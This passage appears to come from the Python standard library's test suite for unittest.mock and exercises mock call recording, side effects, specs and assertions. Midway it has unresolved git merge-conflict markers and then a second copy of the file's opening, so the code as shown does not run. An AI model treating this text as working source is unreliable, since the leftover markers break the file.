self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.return_value.foo.mock_calls, [('', (1, 2, 3), dict(a=4, b=5))]) self.assertEqual(mock.return_value.mock_calls, [('foo', (1, 2, 3), dict(a=4, b=5))]) mock = MagicMock() mock().foo.bar().baz() expected = [ ('', (), {}), ('().foo.bar', (), {}), ('().foo.bar().baz', (), {}) ] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock().mock_calls, call.foo.bar().baz().call_list()) for kwargs in dict(), dict(name='bar'): mock = MagicMock(**kwargs) int(mock.foo) expected = [('foo.__int__', (), {})] self.assertEqual(mock.mock_calls, expected) mock = MagicMock(**kwargs) mock.a()() expected = [('a', (), {}), ('a()', (), {})] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.a().mock_calls, [call()]) mock = MagicMock(**kwargs) mock(1)(2)(3) self.assertEqual(mock.mock_calls, call(1)(2)(3).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).call_list()) self.assertEqual(mock()().mock_calls, call(3).call_list()) mock = MagicMock(**kwargs) mock(1)(2)(3).a.b.c(4) self.assertEqual(mock.mock_calls, call(1)(2)(3).a.b.c(4).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).a.b.c(4).call_list()) self.assertEqual(mock()().mock_calls, call(3).a.b.c(4).call_list()) mock = MagicMock(**kwargs) int(mock().foo.bar().baz()) last_call = ('().foo.bar().baz().__int__', (), {}) self.assertEqual(mock.mock_calls[-1], last_call) self.assertEqual(mock().mock_calls, call.foo.bar().baz().__int__().call_list()) self.assertEqual(mock().foo.bar().mock_calls, call.baz().__int__().call_list()) self.assertEqual(mock().foo.bar().baz.mock_calls, call().__int__().call_list()) def test_subclassing(self): class Subclass(Mock): pass mock = Subclass() self.assertIsInstance(mock.foo, Subclass) self.assertIsInstance(mock(), Subclass) class Subclass(Mock): def _get_child_mock(self, **kwargs): return Mock(**kwargs) mock = Subclass() self.assertNotIsInstance(mock.foo, Subclass) self.assertNotIsInstance(mock(), Subclass) def test_arg_lists(self): mocks = [ Mock(), MagicMock(), NonCallableMock(), NonCallableMagicMock() ] def assert_attrs(mock): names = 'call_args_list', 'method_calls', 'mock_calls' for name in names: attr = getattr(mock, name) self.assertIsInstance(attr, _CallList) self.assertIsInstance(attr, list) self.assertEqual(attr, []) for mock in mocks: assert_attrs(mock) if callable(mock): mock() mock(1, 2) mock(a=3) mock.reset_mock() assert_attrs(mock) mock.foo() mock.foo.bar(1, a=3) mock.foo(1).bar().baz(3) mock.reset_mock() assert_attrs(mock) def test_call_args_two_tuple(self): mock = Mock() mock(1, a=3) mock(2, b=4) self.assertEqual(len(mock.call_args), 2) args, kwargs = mock.call_args self.assertEqual(args, (2,)) self.assertEqual(kwargs, dict(b=4)) expected_list = [((1,), dict(a=3)), ((2,), dict(b=4))] for expected, call_args in zip(expected_list, mock.call_args_list): self.assertEqual(len(call_args), 2) self.assertEqual(expected[0], call_args[0]) self.assertEqual(expected[1], call_args[1]) def test_side_effect_iterator(self): mock = Mock(side_effect=iter([1, 2, 3])) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) mock = MagicMock(side_effect=['a', 'b', 'c']) self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) mock = Mock(side_effect='ghi') self.assertEqual([mock(), mock(), mock()], ['g', 'h', 'i']) self.assertRaises(StopIteration, mock) class Foo(object): pass mock = MagicMock(side_effect=Foo) self.assertIsInstance(mock(), Foo) mock = Mock(side_effect=Iter()) self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) def test_side_effect_iterator_exceptions(self): for Klass in Mock, MagicMock: iterable = (ValueError, 3, KeyError, 6) m = Klass(side_effect=iterable) self.assertRaises(ValueError, m) self.assertEqual(m(), 3) self.assertRaises(KeyError, m) self.assertEqual(m(), 6) def test_side_effect_setting_iterator(self): mock = Mock() mock.side_effect = iter([1, 2, 3]) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) mock.side_effect = ['a', 'b', 'c'] self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) this_iter = Iter() mock.side_effect = this_iter self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) self.assertIs(mock.side_effect, this_iter) def test_side_effect_iterator_default(self): mock = Mock(return_value=2) mock.side_effect = iter([1, DEFAULT]) self.assertEqual([mock(), mock()], [1, 2]) def test_assert_has_calls_any_order(self): mock = Mock() mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(b=6) kalls = [ call(1, 2), ({'a': 3},), ((3, 4),), ((), {'a': 3}), ('', (1, 2)), ('', {'a': 3}), ('', (1, 2), {}), ('', (), {'a': 3}) ] for kall in kalls: mock.assert_has_calls([kall], any_order=True) for kall in call(1, '2'), call(b=3), call(), 3, None, 'foo': self.assertRaises( AssertionError, mock.assert_has_calls, [kall], any_order=True ) kall_lists = [ [call(1, 2), call(b=6)], [call(3, 4), call(1, 2)], [call(b=6), call(b=6)], ] for kall_list in kall_lists: mock.assert_has_calls(kall_list, any_order=True) kall_lists = [ [call(b=6), call(b=6), call(b=6)], [call(1, 2), call(1, 2)], [call(3, 4), call(1, 2), call(5, 7)], [call(b=6), call(3, 4), call(b=6), call(1, 2), call(b=6)], ] for kall_list in kall_lists: self.assertRaises( AssertionError, mock.assert_has_calls, kall_list, any_order=True ) def test_assert_has_calls(self): kalls1 = [ call(1, 2), ({'a': 3},), ((3, 4),), call(b=6), ('', (1,), {'b': 6}), ] kalls2 = [call.foo(), call.bar(1)] kalls2.extend(call.spam().baz(a=3).call_list()) kalls2.extend(call.bam(set(), foo={}).fish([1]).call_list()) mocks = [] for mock in Mock(), MagicMock(): mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(1, b=6) mocks.append((mock, kalls1)) mock = Mock() mock.foo() mock.bar(1) mock.spam().baz(a=3) mock.bam(set(), foo={}).fish([1]) mocks.append((mock, kalls2)) for mock, kalls in mocks: for i in range(len(kalls)): for step in 1, 2, 3: these = kalls[i:i+step] mock.assert_has_calls(these) if len(these) > 1: self.assertRaises( AssertionError, mock.assert_has_calls, list(reversed(these)) ) def test_assert_has_calls_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock(10, 11, c=12) calls = [ ('', (1, 2, 3), {}), ('', (4, 5, 6), {'d': 7}), ((10, 11, 12), {}), ] mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) # Reversed order calls = list(reversed(calls)) with self.assertRaises(AssertionError): mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) def test_assert_any_call(self): mock = Mock() mock(1, 2) mock(a=3) mock(1, b=6) mock.assert_any_call(1, 2) mock.assert_any_call(a=3) mock.assert_any_call(1, b=6) self.assertRaises( AssertionError, mock.assert_any_call ) self.assertRaises( AssertionError, mock.assert_any_call, 1, 3 ) self.assertRaises( AssertionError, mock.assert_any_call, a=4 ) def test_assert_any_call_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock.assert_any_call(1, 2, 3) mock.assert_any_call(a=1, b=2, c=3) mock.assert_any_call(4, 5, 6, 7) mock.assert_any_call(a=4, b=5, c=6, d=7) self.assertRaises(AssertionError, mock.assert_any_call, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_any_call(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_mock_calls_create_autospec(self): def f(a, b): pass obj = Iter() obj.f = f funcs = [ create_autospec(f), create_autospec(obj).f ] for func in funcs: func(1, 2) func(3, 4) self.assertEqual( func.mock_calls, [call(1, 2), call(3, 4)] ) #Issue21222 def test_create_autospec_with_name(self): m = mock.create_autospec(object(), name='sweet_func') self.assertIn('sweet_func', repr(m)) def test_mock_add_spec(self): class _One(object): one = 1 class _Two(object): two = 2 class Anything(object): one = two = three = 'four' klasses = [ Mock, MagicMock, NonCallableMock, NonCallableMagicMock ] for Klass in list(klasses): klasses.append(lambda K=Klass: K(spec=Anything)) klasses.append(lambda K=Klass: K(spec_set=Anything)) for Klass in klasses: for kwargs in dict(), dict(spec_set=True): mock = Klass() #no error mock.one, mock.two, mock.three for One, Two in [(_One, _Two), (['one'], ['two'])]: for kwargs in dict(), dict(spec_set=True): mock.mock_add_spec(One, **kwargs) mock.one self.assertRaises( AttributeError, getattr, mock, 'two' ) self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) mock.mock_add_spec(Two, **kwargs) self.assertRaises( AttributeError, getattr, mock, 'one' ) mock.two self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) # note that creating a mock, setting an instance attribute, and # *then* setting a spec doesn't work. Not the intended use case def test_mock_add_spec_magic_methods(self): for Klass in MagicMock, NonCallableMagicMock: mock = Klass() int(mock) mock.mock_add_spec(object) self.assertRaises(TypeError, int, mock) mock = Klass() mock['foo'] mock.__int__.return_value =4 mock.mock_add_spec(int) self.assertEqual(int(mock), 4) self.assertRaises(TypeError, lambda: mock['foo']) def test_adding_child_mock(self): for Klass in NonCallableMock, Mock, MagicMock, NonCallableMagicMock: mock = Klass() mock.foo = Mock() mock.foo() self.assertEqual(mock.method_calls, [call.foo()]) self.assertEqual(mock.mock_calls, [call.foo()]) mock = Klass() mock.bar = Mock(name='name') mock.bar() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) # mock with an existing _new_parent but no name mock = Klass() mock.baz = MagicMock()() mock.baz() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) def test_adding_return_value_mock(self): for Klass in Mock, MagicMock: mock = Klass() mock.return_value = MagicMock() mock()() self.assertEqual(mock.mock_calls, [call(), call()()]) def test_manager_mock(self): class Foo(object): one = 'one' two = 'two' manager = Mock() p1 = patch.object(Foo, 'one') p2 = patch.object(Foo, 'two') mock_one = p1.start() self.addCleanup(p1.stop) mock_two = p2.start() self.addCleanup(p2.stop) manager.attach_mock(mock_one, 'one') manager.attach_mock(mock_two, 'two') Foo.two() Foo.one() self.assertEqual(manager.mock_calls, [call.two(), call.one()]) def test_magic_methods_mock_calls(self): for Klass in Mock, MagicMock: m = Klass() m.__int__ = Mock(return_value=3) m.__float__ = MagicMock(return_value=3.0) int(m) float(m) self.assertEqual(m.mock_calls, [call.__int__(), call.__float__()]) self.assertEqual(m.method_calls, []) def test_mock_parents(self): for Klass in Mock, MagicMock: m = Klass() original_repr = repr(m) m.return_value = m self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m.reset_mock() self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m = Klass() m.b = m.a self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m.reset_mock() self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m = Klass() original_repr = repr(m) m.a = m() m.a.return_value = m self.assertEqual(repr(m), original_repr) self.assertEqual(repr(m.a()), original_repr) def test_attach_mock(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in classes: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'bar') self.assertIs(m.bar, m2) self.assertIn("name='mock.bar'", repr(m2)) m.bar.baz(1) self.assertEqual(m.mock_calls, [call.bar.baz(1)]) self.assertEqual(m.method_calls, [call.bar.baz(1)]) def test_attach_mock_return_value(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in Mock, MagicMock: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'return_value') self.assertIs(m(), m2) self.assertIn("name='mock()'", repr(m2)) m2.foo() self.assertEqual(m.mock_calls, call().foo().call_list()) def test_attribute_deletion(self): for mock in (Mock(), MagicMock(), NonCallableMagicMock(), NonCallableMock()): self.assertTrue(hasattr(mock, 'm')) del mock.m self.assertFalse(hasattr(mock, 'm')) del mock.f self.assertFalse(hasattr(mock, 'f')) self.assertRaises(AttributeError, getattr, mock, 'f') def test_class_assignable(self): for mock in Mock(), MagicMock(): self.assertNotIsInstance(mock, int) mock.__class__ = int self.assertIsInstance(mock, int) mock.foo if __name__ == '__main__': unittest.main() >>>>>>> b875702c9c06ab5012e52ff4337439b03918f453 ======= import copy import sys import unittest from unittest.test.testmock.support import is_instance from unittest import mock from unittest.mock import ( call, DEFAULT, patch, sentinel, MagicMock, Mock, NonCallableMock, NonCallableMagicMock, _CallList, create_autospec ) class Iter(object): def __init__(self): self.thing = iter(['this', 'is', 'an', 'iter']) def __iter__(self): return self def next(self): return next(self.thing) __next__ = next class Something(object): def meth(self, a, b, c, d=None): pass @classmethod def cmeth(cls, a, b, c, d=None): pass @staticmethod def smeth(a, b, c, d=None): pass class MockTest(unittest.TestCase): def test_all(self): # if __all__ is badly defined then import * will raise an error # We have to exec it because you can't import * inside a method # in Python 3 exec("from unittest.mock import *") def test_constructor(self): mock = Mock() self.assertFalse(mock.called, "called not initialised correctly") self.assertEqual(mock.call_count, 0, "call_count not initialised correctly") self.assertTrue(is_instance(mock.return_value, Mock), "return_value not initialised correctly") self.assertEqual(mock.call_args, None, "call_args not initialised correctly") self.assertEqual(mock.call_args_list, [], "call_args_list not initialised correctly") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly") # Can't use hasattr for this test as it always returns True on a mock self.assertNotIn('_items', mock.__dict__, "default mock should not have '_items' attribute") self.assertIsNone(mock._mock_parent, "parent not initialised correctly") self.assertIsNone(mock._mock_methods, "methods not initialised correctly") self.assertEqual(mock._mock_children, {}, "children not initialised incorrectly") def test_return_value_in_constructor(self): mock = Mock(return_value=None) self.assertIsNone(mock.return_value, "return value in constructor not honoured") def test_repr(self): mock = Mock(name='foo') self.assertIn('foo', repr(mock)) self.assertIn("'%s'" % id(mock), repr(mock)) mocks = [(Mock(), 'mock'), (Mock(name='bar'), 'bar')] for mock, name in mocks: self.assertIn('%s.bar' % name, repr(mock.bar)) self.assertIn('%s.foo()' % name, repr(mock.foo())) self.assertIn('%s.foo().bing' % name, repr(mock.foo().bing)) self.assertIn('%s()' % name, repr(mock())) self.assertIn('%s()()' % name, repr(mock()())) self.assertIn('%s()().foo.bar.baz().bing' % name, repr(mock()().foo.bar.baz().bing)) def test_repr_with_spec(self): class X(object): pass mock = Mock(spec=X) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec=X()) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec_set=X) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec_set=X()) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec=X, name='foo') self.assertIn(" spec='X' ", repr(mock)) self.assertIn(" name='foo' ", repr(mock)) mock = Mock(name='foo') self.assertNotIn("spec", repr(mock)) mock = Mock() self.assertNotIn("spec", repr(mock)) mock = Mock(spec=['foo']) self.assertNotIn("spec", repr(mock)) def test_side_effect(self): mock = Mock() def effect(*args, **kwargs): raise SystemError('kablooie') mock.side_effect = effect self.assertRaises(SystemError, mock, 1, 2, fish=3) mock.assert_called_with(1, 2, fish=3) results = [1, 2, 3] def effect(): return results.pop() mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "side effect not used correctly") mock = Mock(side_effect=sentinel.SideEffect) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side effect in constructor not used") def side_effect(): return DEFAULT mock = Mock(side_effect=side_effect, return_value=sentinel.RETURN) self.assertEqual(mock(), sentinel.RETURN) def test_autospec_side_effect(self): # Test for issue17826 results = [1, 2, 3] def effect(): return results.pop() def f(): pass mock = create_autospec(f) mock.side_effect = [1, 2, 3] self.assertEqual([mock(), mock(), mock()], [1, 2, 3], "side effect not used correctly in create_autospec") # Test where side effect is a callable results = [1, 2, 3] mock = create_autospec(f) mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "callable side effect not used correctly") @unittest.skipUnless('java' in sys.platform, 'This test only applies to Jython') def test_java_exception_side_effect(self): import java mock = Mock(side_effect=java.lang.RuntimeException("Boom!")) # can't use assertRaises with java exceptions try: mock(1, 2, fish=3) except java.lang.RuntimeException: pass else: self.fail('java exception not raised') mock.assert_called_with(1,2, fish=3) def test_reset_mock(self): parent = Mock() spec = ["something"] mock = Mock(name="child", parent=parent, spec=spec) mock(sentinel.Something, something=sentinel.SomethingElse) something = mock.something mock.something() mock.side_effect = sentinel.SideEffect return_value = mock.return_value return_value() mock.reset_mock() self.assertEqual(mock._mock_name, "child", "name incorrectly reset") self.assertEqual(mock._mock_parent, parent, "parent incorrectly reset") self.assertEqual(mock._mock_methods, spec, "methods incorrectly reset") self.assertFalse(mock.called, "called not reset") self.assertEqual(mock.call_count, 0, "call_count not reset") self.assertEqual(mock.call_args, None, "call_args not reset") self.assertEqual(mock.call_args_list, [], "call_args_list not reset") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly: %r != %r" % (mock.method_calls, [])) self.assertEqual(mock.mock_calls, []) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side_effect incorrectly reset") self.assertEqual(mock.return_value, return_value, "return_value incorrectly reset") self.assertFalse(return_value.called, "return value mock not reset") self.assertEqual(mock._mock_children, {'something': something}, "children reset incorrectly") self.assertEqual(mock.something, something, "children incorrectly cleared") self.assertFalse(mock.something.called, "child not reset") def test_reset_mock_recursion(self): mock = Mock() mock.return_value = mock # used to cause recursion mock.reset_mock() def test_call(self): mock = Mock() self.assertTrue(is_instance(mock.return_value, Mock), "Default return_value should be a Mock") result = mock() self.assertEqual(mock(), result, "different result from consecutive calls") mock.reset_mock() ret_val = mock(sentinel.Arg) self.assertTrue(mock.called, "called not set") self.assertEqual(mock.call_count, 1, "call_count incoreect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {}), "call_args not set") self.assertEqual(mock.call_args_list, [((sentinel.Arg,), {})], "call_args_list not initialised correctly") mock.return_value = sentinel.ReturnValue ret_val = mock(sentinel.Arg, key=sentinel.KeyArg) self.assertEqual(ret_val, sentinel.ReturnValue, "incorrect return value") self.assertEqual(mock.call_count, 2, "call_count incorrect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {'key': sentinel.KeyArg}), "call_args not set") self.assertEqual(mock.call_args_list, [ ((sentinel.Arg,), {}), ((sentinel.Arg,), {'key': sentinel.KeyArg}) ], "call_args_list not set") def test_call_args_comparison(self): mock = Mock() mock() mock(sentinel.Arg) mock(kw=sentinel.Kwarg) mock(sentinel.Arg, kw=sentinel.Kwarg) self.assertEqual(mock.call_args_list, [ (), ((sentinel.Arg,),), ({"kw": sentinel.Kwarg},), ((sentinel.Arg,), {"kw": sentinel.Kwarg}) ]) self.assertEqual(mock.call_args, ((sentinel.Arg,), {"kw": sentinel.Kwarg})) def test_assert_called_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_with() self.assertRaises(AssertionError, mock.assert_called_with, 1) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_with) mock(1, 2, 3, a='fish', b='nothing') mock.assert_called_with(1, 2, 3, a='fish', b='nothing') def test_assert_called_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_assert_called_with_method_spec(self): def _check(mock): mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) mock = Mock(spec=Something().meth) _check(mock) mock = Mock(spec=Something.cmeth) _check(mock) mock = Mock(spec=Something().cmeth) _check(mock) mock = Mock(spec=Something.smeth) _check(mock) mock = Mock(spec=Something().smeth) _check(mock) def test_assert_called_once_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_once_with() mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock('foo', 'bar', baz=2) mock.assert_called_once_with('foo', 'bar', baz=2) mock.reset_mock() mock('foo', 'bar', baz=2) self.assertRaises( AssertionError, lambda: mock.assert_called_once_with('bob', 'bar', baz=2) ) def test_assert_called_once_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_once_with(1, 2, 3) mock.assert_called_once_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_once_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) # Mock called more than once => always fails mock(4, 5, 6) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, 2, 3) self.assertRaises(AssertionError, mock.assert_called_once_with, 4, 5, 6) def test_attribute_access_returns_mocks(self): mock = Mock() something = mock.something self.assertTrue(is_instance(something, Mock), "attribute isn't a mock") self.assertEqual(mock.something, something, "different attributes returned for same name") # Usage example mock = Mock() mock.something.return_value = 3 self.assertEqual(mock.something(), 3, "method returned wrong value") self.assertTrue(mock.something.called, "method didn't record being called") def test_attributes_have_name_and_parent_set(self): mock = Mock() something = mock.something self.assertEqual(something._mock_name, "something", "attribute name not set correctly") self.assertEqual(something._mock_parent, mock, "attribute parent not set correctly") def test_method_calls_recorded(self): mock = Mock() mock.something(3, fish=None) mock.something_else.something(6, cake=sentinel.Cake) self.assertEqual(mock.something_else.method_calls, [("something", (6,), {'cake': sentinel.Cake})], "method calls not recorded correctly") self.assertEqual(mock.method_calls, [ ("something", (3,), {'fish': None}), ("something_else.something", (6,), {'cake': sentinel.Cake}) ], "method calls not recorded correctly") def test_method_calls_compare_easily(self): mock = Mock() mock.something() self.assertEqual(mock.method_calls, [('something',)]) self.assertEqual(mock.method_calls, [('something', (), {})]) mock = Mock() mock.something('different') self.assertEqual(mock.method_calls, [('something', ('different',))]) self.assertEqual(mock.method_calls, [('something', ('different',), {})]) mock = Mock() mock.something(x=1) self.assertEqual(mock.method_calls, [('something', {'x': 1})]) self.assertEqual(mock.method_calls, [('something', (), {'x': 1})]) mock = Mock() mock.something('different', some='more') self.assertEqual(mock.method_calls, [ ('something', ('different',), {'some': 'more'}) ]) def test_only_allowed_methods_exist(self): for spec in ['something'], ('something',): for arg in 'spec', 'spec_set': mock = Mock(**{arg: spec}) # this should be allowed mock.something self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'something_else'", getattr, mock, 'something_else' ) def test_from_spec(self): class Something(object): x = 3 __something__ = None def y(self): pass def test_attributes(mock): # should work mock.x mock.y mock.__something__ self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'z'", getattr, mock, 'z' ) self.assertRaisesRegex( AttributeError, "Mock object has no attribute '__foobar__'", getattr, mock, '__foobar__' ) test_attributes(Mock(spec=Something)) test_attributes(Mock(spec=Something())) def test_wraps_calls(self): real = Mock() mock = Mock(wraps=real) self.assertEqual(mock(), real()) real.reset_mock() mock(1, 2, fish=3) real.assert_called_with(1, 2, fish=3) def test_wraps_call_with_nondefault_return_value(self): real = Mock() mock = Mock(wraps=real) mock.return_value = 3 self.assertEqual(mock(), 3) self.assertFalse(real.called) def test_wraps_attributes(self): class Real(object): attribute = Mock() real = Real() mock = Mock(wraps=real) self.assertEqual(mock.attribute(), real.attribute()) self.assertRaises(AttributeError, lambda: mock.fish) self.assertNotEqual(mock.attribute, real.attribute) result = mock.attribute.frog(1, 2, fish=3) Real.attribute.frog.assert_called_with(1, 2, fish=3) self.assertEqual(result, Real.attribute.frog()) def test_exceptional_side_effect(self): mock = Mock(side_effect=AttributeError) self.assertRaises(AttributeError, mock) mock = Mock(side_effect=AttributeError('foo')) self.assertRaises(AttributeError, mock) def test_baseexceptional_side_effect(self): mock = Mock(side_effect=KeyboardInterrupt) self.assertRaises(KeyboardInterrupt, mock) mock = Mock(side_effect=KeyboardInterrupt('foo')) self.assertRaises(KeyboardInterrupt, mock) def test_assert_called_with_message(self): mock = Mock() self.assertRaisesRegex(AssertionError, 'Not called', mock.assert_called_with) def test_assert_called_once_with_message(self): mock = Mock(name='geoffrey') self.assertRaisesRegex(AssertionError, r"Expected 'geoffrey' to be called once\.", mock.assert_called_once_with) def test__name__(self): mock = Mock() self.assertRaises(AttributeError, lambda: mock.__name__) mock.__name__ = 'foo' self.assertEqual(mock.__name__, 'foo') def test_spec_list_subclass(self): class Sub(list): pass mock = Mock(spec=Sub(['foo'])) mock.append(3) mock.append.assert_called_with(3) self.assertRaises(AttributeError, getattr, mock, 'foo') def test_spec_class(self): class X(object): pass mock = Mock(spec=X) self.assertIsInstance(mock, X) mock = Mock(spec=X()) self.assertIsInstance(mock, X) self.assertIs(mock.__class__, X) self.assertEqual(Mock().__class__.__name__, 'Mock') mock = Mock(spec_set=X) self.assertIsInstance(mock, X) mock = Mock(spec_set=X()) self.assertIsInstance(mock, X) def test_setting_attribute_with_spec_set(self): class X(object): y = 3 mock = Mock(spec=X) mock.x = 'foo' mock = Mock(spec_set=X) def set_attr(): mock.x = 'foo' mock.y = 'foo' self.assertRaises(AttributeError, set_attr) def test_copy(self): current = sys.getrecursionlimit() self.addCleanup(sys.setrecursionlimit, current) # can't use sys.maxint as this doesn't exist in Python 3 sys.setrecursionlimit(int(10e8)) # this segfaults without the fix in place copy.copy(Mock()) def test_subclass_with_properties(self): class SubClass(Mock): def _get(self): return 3 def _set(self, value): raise NameError('strange error') some_attribute = property(_get, _set) s = SubClass(spec_set=SubClass) self.assertEqual(s.some_attribute, 3) def test(): s.some_attribute = 3 self.assertRaises(NameError, test) def test(): s.foo = 'bar' self.assertRaises(AttributeError, test) def test_setting_call(self): mock = Mock() def __call__(self, a): return self._mock_call(a) type(mock).__call__ = __call__ mock('one') mock.assert_called_with('one') self.assertRaises(TypeError, mock, 'one', 'two') def test_dir(self): mock = Mock() attrs = set(dir(mock)) type_attrs = set([m for m in dir(Mock) if not m.startswith('_')]) # all public attributes from the type are included self.assertEqual(set(), type_attrs - attrs) # creates these attributes mock.a, mock.b self.assertIn('a', dir(mock)) self.assertIn('b', dir(mock)) # instance attributes mock.c = mock.d = None self.assertIn('c', dir(mock)) self.assertIn('d', dir(mock)) # magic methods mock.__iter__ = lambda s: iter([]) self.assertIn('__iter__', dir(mock)) def test_dir_from_spec(self): mock = Mock(spec=unittest.TestCase) testcase_attrs = set(dir(unittest.TestCase)) attrs = set(dir(mock)) # all attributes from the spec are included self.assertEqual(set(), testcase_attrs - attrs) # shadow a sys attribute mock.version = 3 self.assertEqual(dir(mock).count('version'), 1) def test_filter_dir(self): patcher = patch.object(mock, 'FILTER_DIR', False) patcher.start() try: attrs = set(dir(Mock())) type_attrs = set(dir(Mock)) # ALL attributes from the type are included self.assertEqual(set(), type_attrs - attrs) finally: patcher.stop() def test_configure_mock(self): mock = Mock(foo='bar') self.assertEqual(mock.foo, 'bar') mock = MagicMock(foo='bar') self.assertEqual(mock.foo, 'bar') kwargs = {'side_effect': KeyError, 'foo.bar.return_value': 33, 'foo': MagicMock()} mock = Mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) mock = Mock() mock.configure_mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) def assertRaisesWithMsg(self, exception, message, func, *args, **kwargs): # needed because assertRaisesRegex doesn't work easily with newlines try: func(*args, **kwargs) except: instance = sys.exc_info()[1] self.assertIsInstance(instance, exception) else: self.fail('Exception %r not raised' % (exception,)) msg = str(instance) self.assertEqual(msg, message) def test_assert_called_with_failure_message(self): mock = NonCallableMock() expected = "mock(1, '2', 3, bar='foo')" message = 'Expected call: %s\nNot called' self.assertRaisesWithMsg( AssertionError, message % (expected,), mock.assert_called_with, 1, '2', 3, bar='foo' ) mock.foo(1, '2', 3, foo='foo') asserters = [ mock.foo.assert_called_with, mock.foo.assert_called_once_with ] for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, '2', 3, bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, '2', 3, bar='foo' ) # just kwargs for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, bar='foo' ) # just args for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, 2, 3)" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, 2, 3 ) 